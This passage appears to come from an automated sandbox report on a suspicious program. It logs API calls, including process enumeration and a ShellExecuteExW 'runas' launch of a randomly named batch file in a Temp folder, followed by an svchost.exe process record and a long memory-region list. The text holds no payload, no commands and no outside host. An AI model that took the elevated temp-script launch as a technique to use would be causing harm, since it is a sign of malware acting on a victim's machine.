[0137.033] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.034] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.035] GetCurrentProcessId () returned 0x388 [0137.572] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x13175940, ResultLength=0x1b98eca0*=0x1ced8) returned 0x0 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0137.581] GetCurrentProcessId () returned 0x388 [0138.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13175940, Length=0x20000, ResultLength=0x1b98eca0 | out: SystemInformation=0x13175940, ResultLength=0x1b98eca0*=0x1cc38) returned 0x0 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.191] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.192] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.193] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 [0138.194] GetCurrentProcessId () returned 0x388 Thread: id = 50 os_tid = 0x12ac [0120.212] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.212] RoInitialize () returned 0x1 [0120.212] RoUninitialize () returned 0x0 [0120.218] CoUninitialize () Thread: id = 51 os_tid = 0x12d0 [0122.394] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0122.395] RoInitialize () returned 0x1 [0122.395] RoUninitialize () returned 0x0 [0122.406] CoUninitialize () Thread: id = 52 os_tid = 0x12d4 Thread: id = 53 os_tid = 0x12dc [0125.658] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0125.683] CoGetContextToken (in: pToken=0x1b66f160 | out: pToken=0x1b66f160) returned 0x0 [0125.683] CObjectContext::QueryInterface () returned 0x0 [0125.683] IComThreadingInfo:GetCurrentThreadType (in: This=0x3111d8, pThreadType=0x1b66f208 | out: pThreadType=0x1b66f208*=0) returned 0x0 [0125.683] IUnknown:Release (This=0x3111d8) returned 0x0 [0125.683] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0125.683] CoUninitialize () [0125.683] RoInitialize () returned 0x1 [0125.683] RoUninitialize () returned 0x0 Thread: id = 160 os_tid = 0x1374 Thread: id = 162 os_tid = 0xa8c [0137.123] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0137.123] RoInitialize () returned 0x1 [0137.123] RoUninitialize () returned 0x0 [0137.126] ShellExecuteExW (in: pExecInfo=0x2faf8f8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2faf8f8*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat", lpParameters=0x0, lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x6c8)) returned 1 [0138.273] CoGetContextToken (in: pToken=0x1b77f2e0 | out: pToken=0x1b77f2e0) returned 0x0 [0138.274] CoUninitialize () Thread: id = 163 os_tid = 0x9ec Thread: id = 164 os_tid = 0x66c Thread: id = 165 os_tid = 0x6a8 Thread: id = 166 os_tid = 0x13c4 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7642a000" os_pid = "0x364" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x214" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\DcpSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\RetailDemo" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ac17" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2163 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2164 start_va = 0x14a200000 end_va = 0x14a3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014a200000" filename = "" Region: id = 2165 start_va = 0x14a400000 end_va = 0x14a47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014a400000" filename = "" Region: id = 2166 start_va = 0x14a600000 end_va = 0x14a6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014a600000" filename = "" Region: id = 2167 start_va = 0x14a700000 end_va = 0x14a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014a700000" filename = "" Region: id = 2168 start_va = 0x14a900000 end_va = 0x14a9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014a900000" filename = "" Region: id = 2169 start_va = 0x14aa00000 end_va = 0x14aa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014aa00000" filename = "" Region: id = 2170 start_va = 0x14aa80000 end_va = 0x14ab7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014aa80000" filename = "" Region: id = 2171 start_va = 0x14ab80000 end_va = 0x14ac7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014ab80000" filename = "" Region: id = 2172 start_va = 0x14ad00000 end_va = 0x14adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014ad00000" filename = "" Region: id = 2173 start_va = 0x14af00000 end_va = 0x14affffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014af00000" filename = "" Region: id = 2174 start_va = 0x14b000000 end_va = 0x14b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b000000" filename = "" Region: id = 2175 start_va = 0x14b100000 end_va = 0x14b1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b100000" filename = "" Region: id = 2176 start_va = 0x14b200000 end_va = 0x14b2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b200000" filename = "" Region: id = 2177 start_va = 0x14b400000 end_va = 0x14b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b400000" filename = "" Region: id = 2178 start_va = 0x14b600000 end_va = 0x14b6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b600000" filename = "" Region: id = 2179 start_va = 0x14b700000 end_va = 0x14b7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b700000" filename = "" Region: id = 2180 start_va = 0x14b980000 end_va = 0x14ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014b980000" filename = "" Region: id = 2181 start_va = 0x14bc80000 end_va = 0x14bd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014bc80000" filename = "" Region: id = 2182 start_va = 0x14be80000 end_va = 0x14bf7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014be80000" filename = "" Region: id = 2183 start_va = 0x14bf80000 end_va = 0x14bffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014bf80000" filename = "" Region: id = 2184 start_va = 0x14c000000 end_va = 0x14c0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014c000000" filename = "" Region: id = 2185 start_va = 0x14c100000 end_va = 0x14c1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014c100000" filename = "" Region: id = 2186 start_va = 0x14c500000 end_va = 0x14c5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014c500000" filename = "" Region: id = 2187 start_va = 0x14c600000 end_va = 0x14c6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014c600000" filename = "" Region: id = 2188 start_va = 0x14c780000 end_va = 0x14c7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014c780000" filename = "" Region: id = 2189 start_va = 0x14c980000 end_va = 0x14c9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014c980000" filename = "" Region: id = 2190 start_va = 0x14cb00000 end_va = 0x14cbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014cb00000" filename = "" Region: id = 2191 start_va = 0x14cc00000 end_va = 0x14cc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014cc00000" filename = "" Region: id = 2192 start_va = 0x14ce00000 end_va = 0x14ce7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014ce00000" filename = "" Region: id = 2193 start_va = 0x14cf80000 end_va = 0x14d07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014cf80000" filename = "" Region: id = 2194 start_va = 0x14d080000 end_va = 0x14d17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014d080000" filename = "" Region: id = 2195 start_va = 0x14d580000 end_va = 0x14d67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014d580000" filename = "" Region: id = 2196 start_va = 0x14d780000 end_va = 0x14d87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014d780000" filename = "" Region: id = 2197 start_va = 0x14d880000 end_va = 0x14d97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014d880000" filename = "" Region: id = 2198 start_va = 0x14d980000 end_va = 0x14da7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014d980000" filename = "" Region: id = 2199 start_va = 0x14da80000 end_va = 0x14db7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014da80000" filename = "" Region: id = 2200 start_va = 0x14db80000 end_va = 0x14dc7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014db80000" filename = "" Region: id = 2201 start_va = 0x14e080000 end_va = 0x14e17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014e080000" filename = "" Region: id = 2202 start_va = 0x14e900000 end_va = 0x14e9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014e900000" filename = "" Region: id = 2203 start_va = 0x14ea00000 end_va = 0x14eafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014ea00000" filename = "" Region: id = 2204 start_va = 0x14eb00000 end_va = 0x14ebfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014eb00000" filename = "" Region: id = 2205 start_va = 0x14ec00000 end_va = 0x14ecfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014ec00000" filename = "" Region: id = 2206 start_va = 0x14ed00000 end_va = 0x14ed7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014ed00000" filename = "" Region: id = 2207 start_va = 0x14f080000 end_va = 0x14f17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000014f080000" filename = "" Region: id = 2208 start_va = 0x151000000 end_va = 0x1510fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151000000" filename = "" Region: id = 2209 start_va = 0x151100000 end_va = 0x1511fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151100000" filename = "" Region: id = 2210 start_va = 0x151300000 end_va = 0x1513fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151300000" filename = "" Region: id = 2211 start_va = 0x151400000 end_va = 0x1514fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151400000" filename = "" Region: id = 2212 start_va = 0x151700000 end_va = 0x1517fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151700000" filename = "" Region: id = 2213 start_va = 0x151900000 end_va = 0x1519fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151900000" filename = "" Region: id = 2214 start_va = 0x151a00000 end_va = 0x151afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151a00000" filename = "" Region: id = 2215 start_va = 0x151b00000 end_va = 0x151bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151b00000" filename = "" Region: id = 2216 start_va = 0x151c00000 end_va = 0x151cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151c00000" filename = "" Region: id = 2217 start_va = 0x151d00000 end_va = 0x151dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151d00000" filename = "" Region: id = 2218 start_va = 0x151e00000 end_va = 0x151efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000151e00000" filename = "" Region: id = 2219 start_va = 0x152080000 end_va = 0x1520fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152080000" filename = "" Region: id = 2220 start_va = 0x152100000 end_va = 0x15217ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152100000" filename = "" Region: id = 2221 start_va = 0x152200000 end_va = 0x1522fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152200000" filename = "" Region: id = 2222 start_va = 0x152300000 end_va = 0x15237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152300000" filename = "" Region: id = 2223 start_va = 0x152380000 end_va = 0x1523fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152380000" filename = "" Region: id = 2224 start_va = 0x152400000 end_va = 0x15247ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152400000" filename = "" Region: id = 2225 start_va = 0x152480000 end_va = 0x15257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152480000" filename = "" Region: id = 2226 start_va = 0x152580000 end_va = 0x15267ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152580000" filename = "" Region: id = 2227 start_va = 0x152680000 end_va = 0x1526fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152680000" filename = "" Region: id = 2228 start_va = 0x152700000 end_va = 0x1527fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152700000" filename = "" Region: id = 2229 start_va = 0x152800000 end_va = 0x1528fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152800000" filename = "" Region: id = 2230 start_va = 0x152a00000 end_va = 0x152afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152a00000" filename = "" Region: id = 2231 start_va = 0x152b00000 end_va = 0x152bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152b00000" filename = "" Region: id = 2232 start_va = 0x152d00000 end_va = 0x152dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152d00000" filename = "" Region: id = 2233 start_va = 0x152e00000 end_va = 0x152efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000152e00000" filename = "" Region: id = 2234 start_va = 0x153000000 end_va = 0x15307ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153000000" filename = "" Region: id = 2235 start_va = 0x153400000 end_va = 0x1534fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153400000" filename = "" Region: id = 2236 start_va = 0x153500000 end_va = 0x1535fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153500000" filename = "" Region: id = 2237 start_va = 0x153600000 end_va = 0x1536fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153600000" filename = "" Region: id = 2238 start_va = 0x153800000 end_va = 0x15387ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153800000" filename = "" Region: id = 2239 start_va = 0x153a80000 end_va = 0x153b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000153a80000" filename = "" Region: id = 2240 start_va = 0x11bea4f0000 end_va = 0x11bea4fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea4f0000" filename = "" Region: id = 2241 start_va = 0x11bea500000 end_va = 0x11bea500fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 2242 start_va = 0x11bea510000 end_va = 0x11bea524fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea510000" filename = "" Region: id = 2243 start_va = 0x11bea530000 end_va = 0x11bea533fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea530000" filename = "" Region: id = 2244 start_va = 0x11bea540000 end_va = 0x11bea540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea540000" filename = "" Region: id = 2245 start_va = 0x11bea550000 end_va = 0x11bea551fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea550000" filename = "" Region: id = 2246 start_va = 0x11bea560000 end_va = 0x11bea560fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea560000" filename = "" Region: id = 2247 start_va = 0x11bea570000 end_va = 0x11bea570fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea570000" filename = "" Region: id = 2248 start_va = 0x11bea580000 end_va = 0x11bea580fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea580000" filename = "" Region: id = 2249 start_va = 0x11bea590000 end_va = 0x11bea590fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea590000" filename = "" Region: id = 2250 start_va = 0x11bea5a0000 end_va = 0x11bea5a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea5a0000" filename = "" Region: id = 2251 start_va = 0x11bea5b0000 end_va = 0x11bea5b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea5b0000" filename = "" Region: id = 2252 start_va = 0x11bea5c0000 end_va = 0x11bea5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea5c0000" filename = "" Region: id = 2253 start_va = 0x11bea5d0000 end_va = 0x11bea5dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 2254 start_va = 0x11bea5e0000 end_va = 0x11bea5e6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea5e0000" filename = "" Region: id = 2255 start_va = 0x11bea5f0000 end_va = 0x11bea5f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea5f0000" filename = "" Region: id = 2256 start_va = 0x11bea600000 end_va = 0x11bea6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea600000" filename = "" Region: id = 2257 start_va = 0x11bea700000 end_va = 0x11bea7bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2258 start_va = 0x11bea7c0000 end_va = 0x11bea87ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011bea7c0000" filename = "" Region: id = 2259 start_va = 0x11bea880000 end_va = 0x11bea880fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea880000" filename = "" Region: id = 2260 start_va = 0x11bea890000 end_va = 0x11bea893fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2261 start_va = 0x11bea8a0000 end_va = 0x11bea8e4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 2262 start_va = 0x11bea8f0000 end_va = 0x11bea8f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 2263 start_va = 0x11bea900000 end_va = 0x11bea908fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 2264 start_va = 0x11bea910000 end_va = 0x11bea916fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011bea910000" filename = "" Region: id = 2265 start_va = 0x11bea920000 end_va = 0x11bea9fffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2266 start_va = 0x11beaa00000 end_va = 0x11beaafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000011beaa00000" filename = "" Region: id = 2267 start_va = 0x11beab00000 end_va = 0x11beac87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000011beab00000" filename = "" Region: id = 2268 start_va = 0x11beac90000 end_va = 0x11beae10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 